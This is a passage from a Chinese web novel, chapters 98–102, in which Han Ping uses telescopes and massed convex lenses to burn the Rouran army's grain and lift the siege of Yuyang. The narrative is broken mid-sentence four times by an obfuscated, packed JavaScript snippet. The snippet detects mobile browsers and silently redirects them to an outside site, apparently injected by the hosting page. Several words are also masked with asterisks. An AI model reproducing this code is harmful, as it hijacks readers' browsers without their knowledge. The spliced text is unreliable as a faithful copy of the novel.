边关太乱，柔然人四处劫掠不说，还有些大越的兵痞，也会欺压这些民人。 他们能活到现在，已经算是洪福齐天了。 “给他们点吃的。” 看着实在太可怜，有几个妇女手里的孩子，已经快没气了，除了前面几个男的说话，后面的妇孺，完全是麻木的神情。 那态度仿佛在说，您要杀，便杀好了，您不杀，俺就再活一会。 等部下拿出来清水，饼子，还有肉干等，这些人千恩万谢，感激涕零，着急忙慌地吃了起来。 当母亲的，赶紧的咀嚼了清水和饼子，喂给怀中的孩子，孩子们饿坏了，像嗷嗷待哺的小鸟，食物一进嘴直接就吞下去了。 吃了还要吃，母亲也不敢喂太多，怕撑**。 等他们吃了点东西，韩平问道：“你们是从什么地方过来的？” 领头的男子把嘴边的渣渣都抹到嘴里，赶紧回答道：“大老爷，我们是从渔阳城出来的。柔然大军攻城甚急，渔阳城眼看着撑不住了。 谢军门把城里的粮食，分给了老百姓，让俺们各自逃命。 路上到处都在**，柔然人像疯了一样。 大老爷您可别过去，前头没有活路。” 第98章 烧他们粮草 第九十八章烧他们粮草 看来谢朝乘已经收到了圣旨，一个月之内无法击退柔然大军，朝廷就要问罪，他退无可退，只能遣散城中百姓。 “困兽犹斗，倒是个人物。” 绝境最见品性，谢朝乘能够与城共存亡，不愧是武将世家之后。 只是不知道，谢翼圣是个什么状态。 打发走逃难的这些人，再往前，便能隐约听到喊杀声，惨叫声，马嘶声，擂鼓声…… 如果贴着地面，还能感受到柔然重甲骑兵行军时的震动感。 韩平越加谨慎，尽量从树林中隐匿前行，侦查地形之后，见前面有一个颇高的山坡，说道：“你等守在山脚，我去上面看看柔然大军的情况。” 秦明虎看看山坡，一愣一愣的，急忙拦住：“先生，今日虽然天气晴好，**无云，但这儿距离渔阳城还有三四里路，能看到什么？要不让属下前去一探，给先生画出战场情况。” 两军作战，最难的便是侦查。 离远了，搞不清楚状况，近了，又可能被抓住。 秦明虎倒没有指责的意思，他想着韩平第一次亲临战阵，弄不清楚很正常。 他怕韩平不好意思，转身就要走，韩平大笑：“明虎，我给你看个好东西。” 打开马车上的箱子，拿了两杆望远镜，递给秦明虎一个，施施然上山。 嗯？ 这是啥玩意？ 秦明虎眨巴着眼睛，握着望远镜跟上，到了山顶，见韩平闭上了右眼，用左眼对着望远镜，往渔阳城的方向看。 有样学样，这一看，秦明虎差点一屁股坐地上。 “哎哟！这……这是怎么话说的？” “为什么？为什么啊？咋就能看那么远嘞？” “有了这东西，侦查岂不是完全没危险了？大宝贝啊这是。” “此乃何物？莫非是传说中的千里眼吗？” “先生，能不能搭理我一声呢？” 经历过战争厮杀，秦明虎这个人是很稳重的，此刻上跳下窜的，像个猴子。 他太知道两军对战，如果能掌握先机，会获得多大的优势。 这个长杆的东西可以提前看到敌军，你就说多重要吧？ “明虎，这叫望远镜，请你先安静，待会再震惊。” 急于弄清楚渔阳城的情况，韩平没空和他解释，其实也没啥好解释的。 望远镜是什么？ 望远镜就是望远镜！ “啊？” “望远……镜……名副其实，名副其实呀。” “先生真乃不世出的奇才，竟然能造出此等神物。” “哎呀，哎呀，明虎真是钦佩至极，先生，让我给您磕两个吧。” 无法表达内心的激动，秦明虎砰砰砰磕头。 韩平十分无语，什么毛病啊？ 他不想搭理了，仔细看向渔阳城。 首先他注意到的，便是柔然的重甲骑兵。 说是重甲，其实并没有包裹住全部，比如脸，比如手，马的话，主要护住了头部和脖颈，其他部分没有着甲。 就是抱住的地方，也不都是锁甲，比如手肘连接的地方，是牛皮做的皮甲。 看来柔然人的重甲还是比较规范的，并没有特别突出的演变。 大越做不到，一个是穷，一个是缺乏好的马匹，其他倒都能做到。 再看全局，就见柔然大军军容壮盛，人如潮涌，马似山崩，各司其职，有往城中射箭的，也有投石机投石的，甚至能看到，还有挖掘地道的。 俗话说，人过一万，没边没沿。 柔然这一路有五万大军，很有点蚂蚁啃象的意思，渔阳城就算坚固，也经受不住，城墙破破烂烂，东南一角更是塌陷了一个大口子。 城下堆满了各种石头，滚木，箭矢，坏掉的冲车，云梯…… 柔然人纪律严明，一波接着一波的攻城，渔阳城就像大海中的一叶孤舟，随时都可能倾覆。 “传我命令，所有探马前哨，伪装成流民，去摸清楚柔然大军的粮草部署。” “每三人为一组，携带望远镜一支。” “不得靠近，不得冒进，探清楚马上回来。” 兵马未动粮草先行，韩平只带了一千多人，大多还没经过战阵，根本无法和柔然大军匹敌，那便只能破坏对方的粮草了。 他让工匠做了上百个大型凸透镜，当时就有这想法。 现在正是盛夏，天干物燥，只要处置得到，利用强烈的阳光，远程点火，未尝不可烧了柔然大军的粮草。 有望远镜，做侦查基本没危险， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573017|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 根本没用多久，便有探马回报，柔然大军驻扎在二道河附近。 柔然人习惯于住在营帐之中，逐水草而居，就算打仗，这个习惯也没有改变。 靠着河边驻扎有很多好处。 一来，人吃马喂的都需要用到水，二来河水本身，便是一道屏障，能够提供安全感。 “先生，柔然人的粮草共有五处，防守人数不多。” “先生，我愿率领一支百人队，冲杀过去，把柔然人的粮草，全都给烧了。” “我也愿意去！柔然人再厉害，只留下那么几个人，肯定不是我们的对手。” “烧了他们粮草，他们自然便退兵了。” …… 看到建功的机会，这些家伙热血激荡。 他们没打过败仗，路上遇到一次土匪，砍瓜切菜一般就消灭了。 一路又好吃好喝的，这时候只觉得用不完的力气。 有望远镜在，如果柔然大军回来，他们也能及时获得消息，极大地降低了危险性。 来都来了，谁不想多赚点钱？ 就连秦明虎也急忙道：“先生，我对柔然大军颇为熟悉，让我去吧。” 大越一直都被柔然人压着打，他没想到，柔然人竟然如此托大，粮草也不派重兵把守。 “烧肯定是要烧的，冲过去便不用了。” “都跟我来。” 带着大家后退了一箭之地，在一个山坳里，韩平让人打开马车上的箱子，拿出里面的凸透镜。 秦明虎等人都是丈二和尚摸不着头脑。 这些东西都是从工坊就装车了，他们根本没见过，光是一个望远镜，就让他们啧啧称奇了。 现在韩平拿出了更大个的琉璃制品，他们都看得兴致勃勃。 “先生，此物有何用处？” 自认为是个聪明人，秦明虎上看下看，没看明白，韩平淡然道：“点火！” 点火？ 所有人都是一脸懵逼。 只听说用火折子点火，或者用火镰点火，从来没听说过，用琉璃点火的。 他们有的面面相觑，有的侧目看向韩平，还有人上去摸了摸，直摇头，冷冰冰-地，你说点火？ 除非…… 好多人说韩先生是妖兽，难道这是妖兽的法器？ 第99章 火烧连营 第九十九章火烧连营 “这怎么点？” 秦明虎抓一把干草，放在凸透镜上，“先生，这可点不着呀，还需要什么咒语不成？” 以前秦明虎是不相信这些神啊鬼啊的，但跟着韩平一段时间，他的世界观正在摇晃。 也许真有的。 “那倒是不用，你们看着哈。” 韩平收拾了点干树皮，干树叶，干草，杨柳絮，把其中的干树皮撕扯成绒绒，和柳絮混合，然后凸透镜对着太阳，凝聚出一个明亮的光点。 光点对着地上的绒绒，柳絮。 先是有淡淡黑烟冒起，接着自燃起来，把其他的干树叶，树皮，干草也都引燃了。 这一幕没啥声音，却更显神异。 平地起火！ 非人也！ 扑通，扑通…… 周围的护卫纷纷下跪，都是一副没见过世面的样子。 “拜见韩神仙！” “我老天爷，原来韩先生真的是……那个妖仙啊。” “那么……这个琉璃……是妖丹吧？” “啥呀，韩先生怎么成妖了？韩先生应该是火德星君，下凡解救黎民百姓。” “韩先生，我有三个愿望，您帮我实现吧，第一，我想年年有肉吃，第二，我想娶个白胖娘们，第三，我想打死宋明亮。” …… 见他们又是下跪，又是把自己当神仙，还有许愿的，韩平突然就有一种莫名的托举感，轻飘飘的，好像自己真成了神仙。 见众人之中，只有秦明虎还傻乎乎地站着，他用一种幽远的声音，慢悠悠说道： “秦明虎，既见真神，为何不拜？” “啊？我拜，我拜……” 被眼前的一切给震慑住了，秦明虎推金山倒玉柱，不但跪下了，还咚咚咚连续磕了好几个头。 “哈哈哈……” 韩平大笑了起来，马上就要打仗，精神紧张，开个玩笑，可以放松放松，“行啦行啦，起来起来，我不是神仙，这个东西叫凸透镜，具有聚光的作用，阳光汇聚，温度升高，是以能够点火。你们也都试试。” 一说要试试，胆小地急忙往后缩，闹呢，妖丹能乱动吗？ 有胆子大的拿起一个，对着干燥的树叶，不一会也点燃了。 “嘿！我也可以！” “谁都行是吧？我的**爷爷，这更可怕啊，如果有人拿着这东西四处放火，那咋整？” “哎哟！张子木，你别忘老子身上照啊。” “这怪得劲，都不用火折子了。” …… 真是没见过，这些人玩得不亦乐乎，秦明虎也跟着玩，越玩越上瘾。 如果按照玩火必尿床的定律，他今晚能尿出个太平洋。 “咳咳咳……” 看他们练得差不多了，韩平咳嗽了起来，众人急忙端正态度，秦明虎沉思了下，说道： “先生是说，用这个东西点火，烧柔然人的粮草？” 其他人才反应过来，眼睛直放光，对韩平的崇拜，都没法说了。 望远镜可以隔着老远看清楚柔然人在干嘛。 凸透镜能够隔着老远给柔然人放火。 越想就觉得，柔然人可真够倒霉的，碰到了韩先生。 更多人是心生敬畏，韩先生的心眼子比马蜂窝都多，可不敢在他手下玩心眼，自己一撅腚，他就知道自己拉啥屎。 “正是！” “为了提高点火速度，几个人一人拿一个，一起行动，让光点集中在一起。” “你们试试，看有效距离多远。” 近距离点火很容易，远距离就不容易了，因为光具有发散性，集中起来的光源，穿过空气介质，必然导致能量逸散。 能量不足，便无法点燃。 在韩平的指挥下，大家都尝试了起来，不得不说，韩平小看了光的发散性，用三四面凸透镜，很难远距离点燃，得用超过十个，最好是十五个，才能有效点燃远处的干燥物。 幸好他准备的多，不然还真不好办。 “不对啊先生。” 秦明虎挺爱思考，“柔然人的粮草都在帐篷里呢，这……这个东西能点燃干燥的树叶，树皮啥的，却不能点燃帐篷。这怎么放火？” 柔然人的帐篷，用的可是牛皮，虽然晒得干巴巴的，想点燃不容易。 点燃之后，牛皮也不会迅速燃烧，而是烫猪皮一样卷起来，并且发出奇怪的味道，柔然人马上就能发现。 “简单！只要火势凶猛，牛皮会被瞬间烧透。” “除了探马哨兵，还有明虎的人，其他人去搜集干燥的树皮，能撕出绒绒的那种。” “最好是搜集杨柳絮，木棉絮，越多越好。” 很多人从出发到现在，除了行军就是行军，还没干过啥呢，现在总算是有活干了，都非常的积极。 当然，大家主要是在树林子里搜集，都很小心。 他们在搜集，秦明虎一脸疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573018|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惑，韩平见他没明白正要解说，秦明虎赶忙道：“先生，您别说，让我想想，我一定能想明白。” 他一直都觉得自己是聪明人，跟着韩平走一趟，感觉自己就是个憨货，有点接受不能，需要一场胜利来挽尊。 能看明白韩平在干什么，在这群人里面，便算是矬子里的将军。 人多力量大，不多会就搜集来了成堆的干树皮，杨柳絮。 这个时节，杨柳絮基本从树上脱落干净了，坑坑洼洼里，都快要填满。 韩平一直注意着太阳呢，等到太阳刚过了正午，这时候，太阳正毒，地上的东西也都被晒透了，又有倾斜角，柔然的军士也不愿意离开帐篷，便是好时机。 他让人先把干树皮撕扯成绒绒，然后分成五队，隐匿前行到柔然粮草的上风口，比较高的地方，抛洒绒绒和杨柳絮。 这些东西非常轻，风一吹便飘荡过去。 “啊！我明白了。” 得确定效果，韩平跟着其中一队，秦明虎看着柳絮飘向柔然粮草营帐，虎躯一震，恍然大悟。 粮草的位置往往都放在通风的地方，因为粮草最怕潮，万一潮湿了，便毁掉了。 粮草干燥，又是大夏天的，自然会注意防火。 这些最基本的东西，柔然人已经习惯了，粮草帐篷周围几十米，很少干草，柳絮这些易燃物，甚至连青草，也拔去不少。 最近天太干，还会在周围洒水。 每天也会有专门的人，把飘过来的易燃物给清理掉。 正是因为做的到位，所以柔然人格外放心，偶然飞过来一些柳絮，也不会在意。 天气那么热，太阳那么晒，他们也料定了越朝没能力突袭到这里，所以格外安心，格外松懈。 绒绒和柳絮少的时候，没人发现。 毕竟这东西整天到处乱飘，天天见，**以为常。 但随着越来越多，地上都蒙了一层的时候，柔然人终于发现了异常。 “你们看，这是咋回事？” 几个柔然**眼瞪小眼，柳絮是白的，绒绒是黄的，还是很明显的。 特别是，主要集中了百十米那么宽的地方，看着着实不正常。 “柳絮而已，大惊小怪。” 报告给十夫长，十夫长不以为意。 他看一眼，便打算回去继续玩斗叶子。 突然，几道闪光汇聚在一处。 柳絮冒出青烟，袅袅向上飘动。 火起！ 第100章 这才是打仗 第一百章这才是打仗 柳絮这种东西，一旦烧起来，速度之快，匪夷所思。 “救火！救火！” 十夫长大叫，急忙用衣服去打，去踩，根本没用。 看管粮草的一共十几个人，手忙脚乱，柳絮很快烧到营帐。 营帐之上，也有柳絮，几乎是瞬间，便烧透了牛皮，引燃了里面的粮草。 五万大军的粮草，光是这一处地方，便有营帐三百多座。 灭火？ 怎么灭？ 眼前的情况，完全是眼睛一眨，到处都在起火。 柔然的粮草主要有两个部分组成，一是人吃的，风干的肉啊，奶啊，活着的牛羊，从森林里打的野兽，以及小米这类食物。 柔然人生活在草原，属于干旱地带，小米是比较耐寒的。 二是马吃的，除了一小部分的精饲料，比如豆饼之类，大部分都是干草。 干草又分了两种，一种是比较普通的草料，一种是非常有营养的苜蓿。 几乎所有游牧民族都有苜蓿园，柔然自然也不例外。 这些干草都是晒得极其干燥，干燥的草可以避免虫害，能够长久保存，好处非常多，只是怕火！ 被柳絮引燃之后，干草噼里啪啦，一发不可收拾。 更可怕的是，不止这一处，其他地方的粮草也燃烧了起来，一时间火光冲天，烟尘滚滚。 火势起来之后，柔然人只能放弃救火，再救等于**。 “先生真有鬼神不测之术。” “属下服了！” 秦明虎看着火光映红了半边天，又是兴奋，又是崇仰。 边军不是没想过断柔然人的粮草，可根本做不到。 大军都被压着打，派不出有力的突袭队不说，就算好不容易过去一部分人，抓住机会点火，也会很快被扑灭。 韩平这下子倒好，悄默默地把柔然大军的粮草烧了个干净。 “柔然前军很快便会撤退，明虎，等他们一退，你便去渔阳城通知谢将军。” “遵命！” 对打仗，韩平懂得少，就算看过一些兵法什么的，也都是纸上谈兵。 他眼前最需要做的，是把六万多**送进渔阳城。 让渔阳城的战力，和柔然人的战力，有一个平衡。 柔然人有重甲骑兵，渔阳城有**，不至于总是被动挨打。 …… “大哥，你们一直就是这么打仗的啊？” 谢翼圣完全没有了贵公子的模样，盔甲上沾满了血迹，肩膀也受伤了，他站在谢朝乘身边，看着这场攻防战，五味杂陈。 在嘉陵的时候，他总是向往，能够像大哥一样，纵横沙场。 光是想想就激动得不得了。 哪知道，自己的大哥，只能艰难防守。 “你以为呢？我们是弱势方，能防住就不错了。” “这么打下去，不出三天，渔阳城便要破了，我身为一城主将，只有战死一途。” “至于你……隐姓埋名，藏起来吧。” 二十几岁的年纪，谢朝乘一脸的沧桑，他太知道渔阳城的坚固了，可再坚固也经不起连续不断的打击。 光是今天，柔然人便三次冲上城墙，要不是他带人死命拦截，渔阳城已经是柔然人的了。 天天这么打，他太累了，内心深处甚至有点渴望，渴望最后杀身成仁的那一刻。 “藏起来？我往哪里藏？” “你都战**，皇上还不肯定原谅吗？” 苦着脸，谢翼圣不甘心道。 因为玄龟上人的事情，皇上下旨训斥了谢朝乘，并且责令，一个月不能击退柔然大军，便军法处置。 他是看明白了，不管是越朝这边，还是柔然人那边，都知道，做不到的。 既然做不到，就要最大可能的保全谢家。 谢朝乘战死，等于是用死亡向大越朝堂证明，他只是能力不行，忠心是没问题的。 “失城之责重大，只有你我兄弟一起战死，才能让朝廷对我们谢家，产生一点怜悯。” “不过，他们会更在乎我的死活，你逃走也不会有人查验的。” 谢朝乘已经在安排后事了，谢翼圣没忍住，哇地一声哭了出来。 他没想到，自己竟然害了大哥，害了谢家满门。 看着城下柔然大军来回驰骋，他绝望地看向南方，喃喃不已：“我看出来了，柔然人就是怕韩先生的**，所以才这么着急攻城的。 太可惜了，我有眼无珠，竟然没看出来，韩先生才是第一大才。 如果他在这儿，一定能想到办法的。 现在他就是想过来帮忙，也进不来，唉！” 前几天他还抱着期待，想着**到了，便可以**，现在是完全绝望了。 五万大军围城，水泄不通，根本进不来。 “韩先生会有办法吗？” “如果能看到，便死而无憾了。” “小圣，我征战多年，韩先生是我知道的，第一个高人。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15573019|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “真想一睹高人风范啊。” 谢朝乘自认为已经把能做的，全都做了，还是守不住渔阳城。 他以前傲气满满，总认为自己做不到的，别人也做不到。 见识了**之后，才明白真的存在世外高人。 无法知道高人手段，无疑是巨大的遗憾。 “韩先生除了没我长得俊，其他都比我强，你如果能见到，大家一起喝一杯，那该多好！” “我们可以一起玩老虎杠子鸡。” 危在旦夕，想到以前和韩平一起喝酒的日子，谢翼圣唏嘘不已，现在才发现，韩平实在有趣，连喝酒都能想出那么多的花样来。 "老虎杠子鸡？那是……不好！” 在最后的时光里，和弟弟聊聊天，蛮好的，正想询问老虎杠子鸡的玩法，就见西南角上，柔然人利用云梯，又爬了上来。 他像救火队一样冲了过去，谢翼圣咬着牙，紧随其后。 柔然人日夜攻城，渔阳城内的很多东西，都消耗掉了，连石头，滚木这种最基本的，也不多了。 城里的房子都拆了大半，箭这种防城利器，更是消耗一空，只能靠人力死扛。 “杀！” 这次柔然人上来了足足十几人之多，谢朝乘知道，必须迅速解决他们，不然，渔阳城会从这一点开始陷落。 柔然的先登军士，个个都是精锐。 四大军功，先登，破阵，斩将，夺旗，但凡完成一个，往往都是封侯拜将。 这些先登者也已经杀红了眼。 他们守住城墙一角，想送更多的柔然军士上来。 谢朝乘自然不答应，马槊如龙，连杀几人，带着亲兵，一点一点地，又把柔然人给推了出去。 轰隆！ 这在这时，被投石机连续击打，东边城墙又塌陷了一角，导致城墙和地面，形成了陡坡。 “兄弟们，跟我来。” 谢朝乘脸色一白，拖着疲惫的身体，又冲了过去。 他知道，冲不了几次了，临走前，推了谢翼圣一把，那意思，你准备逃走吧。 听着耳边喊杀声震天，谢翼圣踌躇不定，是抛下大哥逃跑，还是随同大哥战死。 铛铛，铛铛，铛铛…… 就在这个关头，突然，柔然大军的锣声响起。 鸣金收兵！？ 不光谢翼圣满脸惊奇，整个城池上的将士，都不解地看了过去。 此时才发现，柔然大军的后方，有烟气飘动，好像出了什么事。 第101章 跪迎韩平 第一百零一章跪迎韩平 闻鼓声而进，闻金声而退。 柔然大军如潮水一般退去。 当看到粮草被烧成了一堆一堆的灰烬，谷蠡王暴跳如雷：“到底是怎么回事？怎么会突然失火？是南蛮来偷袭了？” 粮草关系到军心，没了粮草，还怎么打？ 看守粮草的柔然士兵跪在地上，纷纷诉苦。 “谷蠡王，我们也不知道，先是有柳絮飘过来，接着就烧起来了，根本没看到人。” “我看到十几道光闪过，然后火就起来了。” “我们那儿也一样，火来得很突然，柳絮烧起来，无法阻挡，我们真的尽力了。” …… 看守粮草的士兵们挺委屈的，大中午的那么热，他们知道柳絮易燃，就想着等没那么热了，扫掉便是，哪知道就着火了。 柳絮这东西一烧，会往四面八方烧过去。 谷蠡王往左右看看，根本什么也看不到，只有过火的痕迹。 火是怎么着的，谁干的，那是半点头绪也没有。 可他百分之百的确定，一定是人为，不然不可能五处粮草一起着火。 他狐疑地看向渔阳城，有一种恼羞成怒的感觉：“是我小看了谢朝乘，没想到他还有这招！” 一边的千夫长木骨图伦沉思许久，上前说道：“谷蠡王，谢朝乘要有这个本事，早就施展了，不会等到现在。依我看，是那个人来了。” 那个人？ 谷蠡王先是愣怔了下，恍然明白过来：“你是说弄出**的韩平？” 那么着急攻打渔阳城，就是害怕渔阳城有了**，难以打下，现在才发现，不光是**可怕，人家还有别的手段。 蓦然之间，谷蠡王起了一身冷汗，**，无影无踪地放火，这是什么鬼神手段？ “也只有此人，才能虚空生火。” “谷蠡王，此人之才，冠绝古今，夺天地造化，侵日月玄机，他一来，咱们再想拿下渔阳城，难了。” 发自内心地，木骨图伦害怕了。 柔然这些年来，政通人和，文武相宜，往南拓展边界不断，每进一步，南越便只能退一步。 就算南越一时间出现了什么新玩意，柔然立马便能弄出更好的。 眼下有点抓瞎了。 **咋回事，就算请来最厉害的能工巧匠，也弄不明白。 粮草被烧这事就更吓人，军士眼睁睁地看着起火，一点办法也没有。 他复盘了下，如果自己在这守着，一样没用。 根本原因在于，人家玩的招数，从没见过，没从听过，这还怎么打？ “岂有此理！” “五万大军开拔至此，损兵折将，如果拿不下渔阳城，他们又要笑我难堪大任！” 谷蠡王气得跺脚。 柔然二十四长，以左贤王为第一，之后是右贤王，左谷蠡王，第四便是他这个右谷蠡王。 左贤王这个职位极其重大，可以说是可汗之下第一人，如果有成年太子，往往是太子担当此位。 如果没有，便是可汗的近亲担任。 他一直渴望能当上左贤王，现在出了这事，希望落空，还会被其他人攻讦。 右谷蠡王的位子，可是很多人盯着呢。 “谷蠡王，为今之计只好禀明可汗，让可汗知道韩平此人的厉害。” “输给此人，实在非战之罪。” 不是我们不行，是敌人太狡猾。 木骨图伦真不觉得丢人，“最好让可汗再派几万大军过来，不然，没法打啊。” 柔然一向擅长以少打多，他现在想靠人数取胜了，谷蠡王长叹了一声，想来想去，只好如此。 他又让大军退了三十里，自己带着亲兵，去见在后方坐镇的叱利可汗。 …… “我是秦明虎，请开城门！” 见柔然大军退去，秦明虎纵马驰骋。 他喜欢这种感觉，风在耳边吹过，淋漓着鲜血的战场，那么逼真。 自己仿佛站在世界的中心！ “明虎！” “你怎么一个人回来了？**哪？不会没带过来吧？” 城门洞开，谢翼圣首先迎了过来，这些天他心心念念的就是**，想着有了**，就不用那么被动了。 一味挨打，没法还手，他早就憋屈坏了。 “当然不会！” “韩先生亲自带过来的，足足六万多枚。” “见柔然大军正在攻城，韩先生略施小计，先烧了柔然人的粮草。” 骄傲！ 这场烧粮草的好戏，秦明虎可都参与了，说出来满满的荣耀。 渔阳城上下的军士都燃起了希望，瘫软在地上的，站了起来，受伤的，眼睛发亮，好像在说，我还可以救一救。 “哈哈哈……大哥，我就说嘛，韩先生可是我的客卿，想来他听说我陷在了渔阳城，一定是茶饭不思，日夜兼程前来救 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581964|170894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我。” “要退柔然大军，还得靠我们家韩先生。” 从生死之间走了一遭，谢翼圣又狂了起来。 谢朝乘差点翻白眼，他都能想到，韩平和自己这个二货弟弟在一块，会是多么的无奈。 “明虎，韩先生是怎么做到的？” “柔然大军的粮草都用牛皮帐篷盖着，能是那么好烧的？” 断粮道属于是最基本的战法，谢朝乘不是没想过，只是，去人少了，不管事，去人多了，容易被发现。 柔然大军一个摆尾，就能包饺子。 “将军，韩先生手里有宝贝啊，一个叫望远镜，隔着三四里地，便能看清战场，有了这件神器，柔然大军的动静，看得一清二楚。” “还有一件名叫凸透镜，可以平地起火，十几个一起照射，便可以从远处放火。” “你是没看到啊，柔然人看到着火，像个傻子一样。” 能给谢朝乘，谢翼圣，还有这满城的将士说稀罕事，秦明虎兴高采烈，吐沫星子乱飞。 神不知鬼不觉烧了柔然粮草，作为参与者，这个牛逼，够他吹一辈子的了。 “望远镜？凸透镜？” “看看，这才叫大才，弄出来的东西，就是有用。” 谢朝乘感慨不已，高声大叫，“所有人听令，列队出城，迎接韩先生！” 高人来了！ 众人兴致高昂，鱼贯而出，谢朝乘命人打扫战场，硬生生清出一条道路来。 不多会便看到一队人马，分五种颜色而来。 中间一人盔甲鲜明，正是韩平。 扑通！ 无法表达内心的感激之情，谢朝乘双膝跪地：“渔阳城守将谢朝乘，跪迎韩先生。” 他都跪了，其他人谁还敢站着，扑通，扑通，跪了一地。 这个礼节可太大了，韩平急忙下马，小跑过去搀扶：“折煞我也！将军快快请起！” 看到**了，谢朝乘那是激动的心，颤抖的手，拉住韩平说道：“有先生助我，渔阳城保住了，谢家满门也保住了。只是委屈先生了，要给我当军师。” 渔阳城都快成空城了，谢朝乘也没什么能拿出手的，很是抱歉，韩平急忙把他搀扶起来： “将军说什么话来？韩某飘零半生，未逢明主，今见将军，如拨云雾而见青天，能够辅佐将军，是韩某之荣幸。” 一边的谢翼圣眨巴眨巴眼睛，嗯？ 怎么听着这么耳熟…… 第102章 军师 第一百零二章军师 飘零半生，未逢明主…… 谢翼圣心说，这话有点熟悉，好像在什么地方听过的样子。 他想说话，根本没机会，谢朝乘好像见到了亲人，一向猖狂的他，也不狂了：“先生过奖了，若非有先生，我和那么多兄弟，都会死在这。 先生对我等有救命之恩。 只是先生没有官方身份，暂时只能当军师而已。” 将在外君命有所不受！ 出门打仗的将军，具有相当的自主性，可以招募自己的班底。 韩平有了军师的身份，便可以名正言顺地参与渔阳城的守城之战了。 “将军和诸位将士，为国为家，英勇奋战，韩某向来是仰慕的，如今能略尽绵薄之力，倍感荣耀。” 刚见面，基本的寒暄和谦虚还是要的。 别人说什么，谢朝乘等人不会在乎，韩平不一样啊，那是有大本事的。 他说仰慕大家，众人都是脸上有光。 谢朝乘更是拉着韩平的手不松开：“在嘉陵时，我三弟对先生多有怠慢，还望先生不要见怪。” 事情闹到这一步，最大原因便是谢翼圣，把玄龟上人这个神棍当做什么第一才子。 如果早点带韩平来，谢家和渔阳城都不会那么被动。 见提到自己，谢翼圣挠挠头。 当时玄龟上人玩得太花了，又说雷击柔然大军，听起来很牛逼，他也是被忽悠了。 “不会不会，三少爷还是个孩子，虽然有些许过错，倒也顽皮可爱，我自然不会怪他。” 见谢翼圣似乎在等着自己拜见呢，韩平开始以长者自居，他看出来了，谢朝乘对这个弟弟是看不上的。 如果自己**谢翼圣，那可就跌份了。 他随口一说，谢翼圣当场懵逼，捂着胸口半天没有反应过来。 孩子？ 我怎么成孩子了？ 还顽皮可爱……你一直就这么看我的？ 在你眼里，我不是英明的主上吗？ 他委屈得眼泪差点掉下来，好像怨妇一样，错愕又不满地看着韩平。 以前一口一口三少爷，现在你把我当憨娃！ “那就好，那就好……先生乃是天下奇才，快快随我入城，咱们边吃边聊。” “先生也给我等介绍介绍，带了什么宝贝过来。” “那望远镜和凸透镜，又是何等神器？” 谢朝乘一说，其他的将士也都是急不可耐模样，整天被柔然人压着打，他们真是憋屈够了。 柔然人乃是塞外杂胡，凶暴残忍，不但喜欢耀武扬威，如果捉住了渔阳城的将士，还会故意在城下斩首，甚至用马拖着拖死。 看着同袍**，听着同袍的惨叫声，那种痛苦，普通人是很难体会的。 如果没有抓住越朝将士，柔然人还会掠夺周边的妇女，光天化日之下，肆意凌-辱。 可以说，每个边关将士的心里，对柔然人都是滔天恨意。 以前敌强我弱没办法，今天韩平一来，他们看到了反击的机会，自然情绪高涨。 很快到了将军帷帐，分宾主落座，韩平拿出望远镜，凸透镜，简单说明，谢朝乘等人便是惊叹不已。 “天哪！神器，都是神器啊。” “有了望远镜，远远便能看到敌人，就算是重甲骑兵过来，也能做些准备了。” “何止啊，中军指挥可以纵览全局，轻易找出敌人的薄弱点，优势太大了。” “凸透镜更是神妙，有了这东西，咱们天天远程点火，柔然人要成惊弓之鸟。” …… 一直以来，柔然人姿态强横，已经进入了有恃无恐的状态，完全不把越朝大军放在眼里。 很多时候是有枣没枣打两杆子，越朝完全被动。 如果柔然人遇到了雪灾，旱灾之类，更是把越朝这边当粮仓，四处掠夺，他们称之为打草谷。 “上酒上菜，我要和韩先生好好喝一杯，好好请教一番。” 谢朝乘大叫起来，渔阳城是有名的坚城，城中存粮很多，尽管分给了老百姓一部分，还有很多呢。 不一会，简单的酒菜上来，韩平吃点喝点，让属下又拿出了护目镜，见众人疑惑，说道： “此物名为护目镜，能够保护眼睛。**释放的烟雾，对眼睛伤害很大，我方戴上护目镜，再用湿布裹住口鼻，便可在烟雾之中纵横来去。” 